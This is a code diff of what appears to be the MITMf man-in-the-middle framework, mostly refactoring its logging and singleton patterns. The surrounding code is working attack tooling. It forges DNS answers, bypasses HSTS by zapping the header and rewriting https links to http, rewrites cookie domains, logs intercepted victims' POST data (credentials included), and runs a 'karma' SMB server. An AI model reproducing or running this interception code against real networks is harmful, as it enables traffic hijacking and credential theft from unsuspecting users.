hsts = DNSChef.getInstance().hsts hsts = DNSChef().hsts
hstsconfig = DNSChef.getInstance().real_records hstsconfig = DNSChef().real_records
server_address = DNSChef.getInstance().server_address server_address = DNSChef().server_address
clientip = {"clientip": self.client_address[0]}
response = "" response = ""
@ -67,7 +70,7 @@ class DNSHandler():
d = DNSRecord.parse(data) d = DNSRecord.parse(data)
except Exception as e: except Exception as e:
log.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) log.info("Error: invalid DNS request", extra=clientip)
else: else:
# Only Process DNS Queries # Only Process DNS Queries
@ -111,7 +114,7 @@ class DNSHandler():
# Create a custom response to the query # Create a custom response to the query
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
log.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip)
# IPv6 needs additional work before inclusion: # IPv6 needs additional work before inclusion:
if qtype == "AAAA": if qtype == "AAAA":
@ -180,7 +183,7 @@ class DNSHandler():
response = response.pack() response = response.pack()
elif qtype == "*" and not None in fake_records.values(): elif qtype == "*" and not None in fake_records.values():
log.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) log.info("Cooking the response of type '{}' for {} with {}".format("ANY", qname, "all known fake records."), extra=clientip)
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
@ -255,7 +258,7 @@ class DNSHandler():
# Proxy the request # Proxy the request
else: else:
log.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) log.debug("Proxying the response of type '{}' for {}".format(qtype, qname), extra=clientip)
nameserver_tuple = random.choice(nameservers).split('#') nameserver_tuple = random.choice(nameservers).split('#')
response = self.proxyrequest(data, *nameserver_tuple) response = self.proxyrequest(data, *nameserver_tuple)
@ -299,7 +302,7 @@ class DNSHandler():
def proxyrequest(self, request, host, port="53", protocol="udp"): def proxyrequest(self, request, host, port="53", protocol="udp"):
reply = None reply = None
try: try:
if DNSChef.getInstance().ipv6: if DNSChef().ipv6:
if protocol == "udp": if protocol == "udp":
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
@ -335,13 +338,13 @@ class DNSHandler():
sock.close() sock.close()
except Exception, e: except Exception, e:
log.warning("[DNSChef] Could not proxy request: {}".format(e)) log.warning("Could not proxy request: {}".format(e), extra=clientip)
else: else:
return reply return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d): def hstsbypass(self, real_domain, fake_domain, nameservers, d):
log.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
@ -395,7 +398,7 @@ class ThreadedUDPServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
# Override SocketServer.UDPServer to add extra parameters # Override SocketServer.UDPServer to add extra parameters
def __init__(self, server_address, RequestHandlerClass): def __init__(self, server_address, RequestHandlerClass):
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass) SocketServer.UDPServer.__init__(self,server_address,RequestHandlerClass)
@ -406,30 +409,26 @@ class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
# Override SocketServer.TCPServer to add extra parameters # Override SocketServer.TCPServer to add extra parameters
def __init__(self, server_address, RequestHandlerClass): def __init__(self, server_address, RequestHandlerClass):
self.address_family = socket.AF_INET6 if DNSChef.getInstance().ipv6 else socket.AF_INET self.address_family = socket.AF_INET6 if DNSChef().ipv6 else socket.AF_INET
SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass) SocketServer.TCPServer.__init__(self,server_address,RequestHandlerClass)
class DNSChef(ConfigWatcher): class DNSChef(ConfigWatcher):
_instance = None version = "0.4"
version = "0.4"
tcp = False tcp = False
ipv6 = False ipv6 = False
hsts = False hsts = False
real_records = dict() real_records = {}
nametodns = dict() nametodns = {}
server_address = "0.0.0.0" server_address = "0.0.0.0"
nameservers = ["8.8.8.8"] nameservers = ["8.8.8.8"]
port = 53 port = 53
@staticmethod __shared_state = {}
def getInstance():
if DNSChef._instance == None:
DNSChef._instance = DNSChef()
return DNSChef._instance def __init__(self):
self.__dict__ = self.__shared_state
def on_config_change(self): def on_config_change(self):
config = self.config['MITMf']['DNS'] config = self.config['MITMf']['DNS']

@ -1,82 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import tornado.ioloop
import tornado.web
import threading
from core.configwatcher import ConfigWatcher
tornado_logger = logging.getLogger("tornado")
tornado_logger.propagate = False
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
fileHandler = logging.FileHandler("./logs/mitmf.log")
streamHandler = logging.StreamHandler(sys.stdout)
fileHandler.setFormatter(formatter)
streamHandler.setFormatter(formatter)
tornado_logger.addHandler(fileHandler)
tornado_logger.addHandler(streamHandler)
class HTTPServer(ConfigWatcher):
_instance = None
application = tornado.web.Application([])
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
@staticmethod
def getInstance():
if HTTPServer._instance == None:
HTTPServer._instance = HTTPServer()
return HTTPServer._instance
def addHandler(self, urlregex, handler, vhost=''):
self.application.add_handlers(vhost, [(urlregex, handler)])
def addStaticPathHandler(self, urlregex, path, vhost=''):
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
def resetApplication(self):
self.application = tornado.web.Application([])
def parseConfig(self):
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
self.addStaticPathHandler(url, path)
def onConfigChange(self):
self.resetApplication()
self.parseConfig()
def start(self):
self.parseConfig()
self.application.listen(self.http_port)
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
t.setDaemon(True)
t.start()
class HTTPHandler(tornado.web.RequestHandler):
def get(self):
raise HTTPError(405)
def post(self):
raise HTTPError(405)

@ -0,0 +1,48 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver(ConfigWatcher):
server = Flask("HTTPserver")
__shared_state = {}
def __init__(self):
self.__dict__ = self.__shared_state
def start_flask(self):
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
def start(self):
self.setup_http_logger()
server_thread = threading.Thread(name='HTTPserver', target=self.start_flask)
server_thread.setDaemon(True)
server_thread.start()
def setup_http_logger(self):
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
flask_logger = logging.getLogger('werkzeug')
flask_logger.propagate = False
fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(formatter)
flask_logger.addHandler(fileHandler)

@ -11,46 +11,39 @@ from core.utils import shutdown
class SMBserver(ConfigWatcher): class SMBserver(ConfigWatcher):
_instance = None __shared_state = {}
def __init__(self): def __init__(self):
self.__dict__ = self.__shared_state
self.impacket_ver = version.VER_MINOR self.version = version.VER_MINOR
self.server_type = self.config["MITMf"]["SMB"]["type"].lower() self.mode = self.config["MITMf"]["SMB"]["mode"].lower()
self.smbchallenge = self.config["MITMf"]["SMB"]["Challenge"] self.challenge = self.config["MITMf"]["SMB"]["Challenge"]
self.smb_port = int(self.config["MITMf"]["SMB"]["port"]) self.port = int(self.config["MITMf"]["SMB"]["port"])
@staticmethod def server(self):
def getInstance():
if SMBserver._instance == None:
SMBserver._instance = SMBserver()
return SMBserver._instance
def parseConfig(self):
server = None
try: try:
if self.server_type == 'normal': if self.mode == 'normal':
formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.configureLogging(formatter) self.conf_impacket_logger(formatter)
server = smbserver.SimpleSMBServer(listenPort=self.smb_port) server = smbserver.SimpleSMBServer(listenPort=self.port)
for share in self.config["MITMf"]["SMB"]["Shares"]: for share in self.config["MITMf"]["SMB"]["Shares"]:
path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
server.addShare(share.upper(), path, readOnly=readonly) server.addShare(share.upper(), path, readOnly=readonly)
server.setSMBChallenge(self.smbchallenge) server.setSMBChallenge(self.challenge)
server.setLogFile('') server.setLogFile('')
elif self.server_type == 'karma': elif self.mode == 'karma':
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.configureLogging(formatter) self.conf_impacket_logger(formatter)
server = KarmaSMBServer(self.smbchallenge, self.smb_port) server = KarmaSMBServer(self.challenge, self.port)
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
@ -60,13 +53,12 @@ class SMBserver(ConfigWatcher):
shutdown("\n[-] Invalid SMB server type specified in config file!") shutdown("\n[-] Invalid SMB server type specified in config file!")
return server return server
except socketerror as e: except socketerror as e:
if "Address already in use" in e: if "Address already in use" in e:
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.smb_port)) shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port))
def configureLogging(self, formatter): def conf_impacket_logger(self, formatter):
#yes I know this looks awful, yuck
LOG.setLevel(logging.INFO) LOG.setLevel(logging.INFO)
LOG.propagate = False LOG.propagate = False
@ -81,6 +73,6 @@ class SMBserver(ConfigWatcher):
LOG.addHandler(streamHandler) LOG.addHandler(streamHandler)
def start(self): def start(self):
t = threading.Thread(name='SMBserver', target=self.parseConfig().start) t = threading.Thread(name='SMBserver', target=self.server().start)
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

@ -39,8 +39,10 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
from core.logger import logger
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [ClientRequest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ClientRequest", formatter)
class ClientRequest(Request): class ClientRequest(Request):
@ -76,13 +78,13 @@ class ClientRequest(Request):
if 'host' in headers: if 'host' in headers:
host = self.urlMonitor.URLgetRealHost(str(headers['host'])) host = self.urlMonitor.URLgetRealHost(str(headers['host']))
log.debug("[ClientRequest][HSTS] Modifing HOST header: {} -> {}".format(headers['host'], host)) log.debug("Modifing HOST header: {} -> {}".format(headers['host'], host))
headers['host'] = host headers['host'] = host
self.setHeader('Host', host) self.setHeader('Host', host)
if 'accept-encoding' in headers: if 'accept-encoding' in headers:
del headers['accept-encoding'] del headers['accept-encoding']
log.debug("[ClientRequest] Zapped encoding") log.debug("Zapped encoding")
if 'if-none-match' in headers: if 'if-none-match' in headers:
del headers['if-none-match'] del headers['if-none-match']
@ -109,11 +111,11 @@ class ClientRequest(Request):
if os.path.exists(scriptPath): return scriptPath if os.path.exists(scriptPath): return scriptPath
log.warning("[ClientRequest] Error: Could not find lock.ico") log.warning("Error: Could not find lock.ico")
return "lock.ico" return "lock.ico"
def handleHostResolvedSuccess(self, address): def handleHostResolvedSuccess(self, address):
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) log.debug("Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
host = self.getHeader("host") host = self.getHeader("host")
headers = self.cleanHeaders() headers = self.cleanHeaders()
client = self.getClientIP() client = self.getClientIP()
@ -151,22 +153,22 @@ class ClientRequest(Request):
self.dnsCache.cacheResolution(hostparts[0], address) self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)): if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
log.debug("[ClientRequest] Sending expired cookies") log.debug("Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureFavicon(client, path)): elif (self.urlMonitor.isSecureFavicon(client, path)):
log.debug("[ClientRequest] Sending spoofed favicon response") log.debug("Sending spoofed favicon response")
self.sendSpoofedFaviconResponse() self.sendSpoofedFaviconResponse()
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers: if 'securelink' in headers:
del headers['securelink'] del headers['securelink']
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) log.debug("Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else: else:
log.debug("[ClientRequest] Sending request via HTTP") log.debug("Sending request via HTTP")
#self.proxyViaHTTP(address, self.method, path, postData, headers) #self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80 port = 80
if len(hostparts) > 1: if len(hostparts) > 1:
@ -175,7 +177,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port) self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error): def handleHostResolvedError(self, error):
log.debug("[ClientRequest] Host resolution error: {}".format(error)) log.debug("Host resolution error: {}".format(error))
try: try:
self.finish() self.finish()
except: except:
@ -185,23 +187,23 @@ class ClientRequest(Request):
address = self.dnsCache.getCachedAddress(host) address = self.dnsCache.getCachedAddress(host)
if address != None: if address != None:
log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) log.debug("Host cached: {} {}".format(host, address))
return defer.succeed(address) return defer.succeed(address)
else: else:
log.debug("[ClientRequest] Host not cached.") log.debug("Host not cached.")
self.customResolver.port = self.urlMonitor.getResolverPort() self.customResolver.port = self.urlMonitor.getResolverPort()
try: try:
log.debug("[ClientRequest] Resolving with DNSChef") log.debug("Resolving with DNSChef")
address = str(self.customResolver.query(host)[0].address) address = str(self.customResolver.query(host)[0].address)
return defer.succeed(address) return defer.succeed(address)
except Exception: except Exception:
log.debug("[ClientRequest] Exception occured, falling back to Twisted") log.debug("Exception occured, falling back to Twisted")
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) log.debug("Resolving host: {}".format(self.getHeader('host')))
host = self.getHeader('host').split(":")[0] host = self.getHeader('host').split(":")[0]
if self.hsts: if self.hsts:

@ -17,8 +17,10 @@
# #
import logging import logging
from core.logger import logger
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DnsCache", formatter)
class DnsCache: class DnsCache:
@ -51,7 +53,7 @@ class DnsCache:
def setCustomRes(self, host, ip_address=None): def setCustomRes(self, host, ip_address=None):
if ip_address is not None: if ip_address is not None:
self.cache[host] = ip_address self.cache[host] = ip_address
log.debug("[DNSCache] DNS entry set: %s -> %s" %(host, ip_address)) log.debug("DNS entry set: %s -> %s" %(host, ip_address))
else: else:
if self.customAddress is not None: if self.customAddress is not None:
self.cache[host] = self.customAddress self.cache[host] = self.customAddress

@ -22,8 +22,10 @@ import string
from ServerConnection import ServerConnection from ServerConnection import ServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
from core.logger import logger
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [SSLServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("SSLServerConnection", formatter)
class SSLServerConnection(ServerConnection): class SSLServerConnection(ServerConnection):
@ -59,11 +61,11 @@ class SSLServerConnection(ServerConnection):
for v in values: for v in values:
if v[:7].lower()==' domain': if v[:7].lower()==' domain':
dominio=v.split("=")[1] dominio=v.split("=")[1]
log.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) log.debug("Parsing cookie domain parameter: %s"%v)
real = self.urlMonitor.real real = self.urlMonitor.real
if dominio in real: if dominio in real:
v=" Domain=%s"%real[dominio] v=" Domain=%s"%real[dominio]
log.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) log.debug("New cookie domain parameter: %s"%v)
newvalues.append(v) newvalues.append(v)
value = ';'.join(newvalues) value = ';'.join(newvalues)
@ -87,13 +89,13 @@ class SSLServerConnection(ServerConnection):
if ((not link.startswith('http')) and (not link.startswith('/'))): if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) log.debug("Found path-relative link in secure transmission: " + link)
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) log.debug("New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'): elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link absoluteLink = "http://"+self.headers['host']+link
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) log.debug("Found relative link in secure transmission: " + link)
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) log.debug("New Absolute link: " + absoluteLink)
if not absoluteLink == "": if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&') absoluteLink = absoluteLink.replace('&amp;', '&')

@ -32,6 +32,9 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.logger import logger from core.logger import logger
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
clientlog = logger().setup_logger("ServerConnection_clientlog", formatter)
formatter = logging.Formatter("%(asctime)s [ServerConnection] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ServerConnection", formatter) log = logger().setup_logger("ServerConnection", formatter)
class ServerConnection(HTTPClient): class ServerConnection(HTTPClient):
@ -57,57 +60,64 @@ class ServerConnection(HTTPClient):
self.postData = postData self.postData = postData
self.headers = headers self.headers = headers
self.client = client self.client = client
self.printPostData = True
self.clientInfo = {} self.clientInfo = {}
self.plugins = ProxyPlugins()
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts self.hsts = URLMonitor.getInstance().hsts
self.app = URLMonitor.getInstance().app self.app = URLMonitor.getInstance().app
self.plugins = ProxyPlugins.getInstance()
self.isImageRequest = False self.isImageRequest = False
self.isCompressed = False self.isCompressed = False
self.contentLength = None self.contentLength = None
self.shutdownComplete = False self.shutdownComplete = False
self.handle_post_output = False
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
log.info(self.headers['host'], extra=self.clientInfo) clientlog.info(self.headers['host'], extra=self.clientInfo)
log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) log.debug("Full request: {}{}".format(self.headers['host'], self.uri))
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
def sendHeaders(self): def sendHeaders(self):
for header, value in self.headers.iteritems(): for header, value in self.headers.iteritems():
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) log.debug("Sending header: ({}: {})".format(header, value))
self.sendHeader(header, value) self.sendHeader(header, value)
self.endHeaders() self.endHeaders()
def sendPostData(self): def sendPostData(self):
if self.printPostData is True: #So we can disable printing POST data coming from plugins if self.handle_post_output is False: #So we can disable printing POST data coming from plugins
try: try:
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0: if len(postdata) > 0:
log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo) clientlog.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
except Exception as e: except Exception as e:
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message: if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host'])) log.debug("{} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
self.printPostData = True self.handle_post_output = False
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
log.debug("[ServerConnection] HTTP connection made.") log.debug("HTTP connection made.")
user_agent = parse(self.headers['user-agent'])
self.clientInfo["clientip"] = self.client.getClientIP() self.clientInfo["clientip"] = self.client.getClientIP()
self.clientInfo["clientos"] = user_agent.os.family
self.clientInfo["browser"] = user_agent.browser.family
try: try:
self.clientInfo["browserv"] = user_agent.browser.version[0] user_agent = parse(self.headers['user-agent'])
except IndexError:
self.clientInfo["clientos"] = user_agent.os.family
self.clientInfo["browser"] = user_agent.browser.family
try:
self.clientInfo["browserv"] = user_agent.browser.version[0]
except IndexError:
self.clientInfo["browserv"] = "Other"
except KeyError:
self.clientInfo["clientos"] = "Other"
self.clientInfo["browser"] = "Other"
self.clientInfo["browserv"] = "Other" self.clientInfo["browserv"] = "Other"
self.plugins.hook() self.plugins.hook()
@ -125,7 +135,7 @@ class ServerConnection(HTTPClient):
code = values['code'] code = values['code']
message = values['message'] message = values['message']
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) log.debug("Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
@ -137,15 +147,15 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'): if (key.lower() == 'content-type'):
if (value.find('image') != -1): if (value.find('image') != -1):
self.isImageRequest = True self.isImageRequest = True
log.debug("[ServerConnection] Response is image content, not scanning") log.debug("Response is image content, not scanning")
if (key.lower() == 'content-encoding'): if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
log.debug("[ServerConnection] Response is compressed") log.debug("Response is compressed")
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
log.info("Zapped a strict-trasport-security header", extra=self.clientInfo) clientlog.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -170,7 +180,7 @@ class ServerConnection(HTTPClient):
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems(): for header, value in self.client.headers.iteritems():
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) log.debug("Receiving header: ({}: {})".format(header, value))
def handleResponsePart(self, data): def handleResponsePart(self, data):
if (self.isImageRequest): if (self.isImageRequest):
@ -190,13 +200,14 @@ class ServerConnection(HTTPClient):
def handleResponse(self, data): def handleResponse(self, data):
if (self.isCompressed): if (self.isCompressed):
log.debug("[ServerConnection] Decompressing content...") log.debug("Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
data = self.plugins.hook()['data'] data = self.plugins.hook()['data']
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
#log.debug("Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None): if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data)) self.client.setHeader('Content-Length', len(data))
@ -209,7 +220,7 @@ class ServerConnection(HTTPClient):
try: try:
self.shutdown() self.shutdown()
except: except:
log.info("[ServerConnection] Client connection dropped before request finished.") log.info("Client connection dropped before request finished.")
def replaceSecureLinks(self, data): def replaceSecureLinks(self, data):
if self.hsts: if self.hsts:
@ -225,9 +236,9 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
log.debug("[ServerConnection][HSTS] Found secure reference: " + url) log.debug("Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url) nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) log.debug("Replacing {} => {}".format(url,nuevaurl))
sustitucion[url] = nuevaurl sustitucion[url] = nuevaurl
if sustitucion: if sustitucion:
@ -243,7 +254,7 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
log.debug("[ServerConnection] Found secure reference: " + url) log.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1) url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&') url = url.replace('&amp;', '&')

@ -18,9 +18,11 @@
import logging import logging
from core.logger import logger
from twisted.internet.protocol import ClientFactory from twisted.internet.protocol import ClientFactory
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ServerConnectionFactory", formatter)
class ServerConnectionFactory(ClientFactory): class ServerConnectionFactory(ClientFactory):
@ -35,12 +37,12 @@ class ServerConnectionFactory(ClientFactory):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason): def clientConnectionFailed(self, connector, reason):
log.debug("[ServerConnectionFactory] Server connection failed.") log.debug("Server connection failed.")
destination = connector.getDestination() destination = connector.getDestination()
if (destination.port != 443): if (destination.port != 443):
log.debug("[ServerConnectionFactory] Retrying via SSL") log.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else: else:
try: try:

@ -20,10 +20,12 @@ import re, os
import logging import logging
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.logger import logger
log = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [URLMonitor] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("URLMonitor", formatter)
class URLMonitor: class URLMonitor:
''' '''
The URL monitor maintains a set of (client, url) tuples that correspond to requests which the The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
@ -79,7 +81,7 @@ class URLMonitor:
s.add(to_url) s.add(to_url)
return return
url_set = set([from_url, to_url]) url_set = set([from_url, to_url])
log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set)) log.debug("Set redirection: {}".format(url_set))
self.redirects.append(url_set) self.redirects.append(url_set)
def getRedirectionSet(self, url): def getRedirectionSet(self, url):
@ -120,7 +122,7 @@ class URLMonitor:
else: else:
self.sustitucion[host] = "web"+host self.sustitucion[host] = "web"+host
self.real["web"+host] = host self.real["web"+host] = host
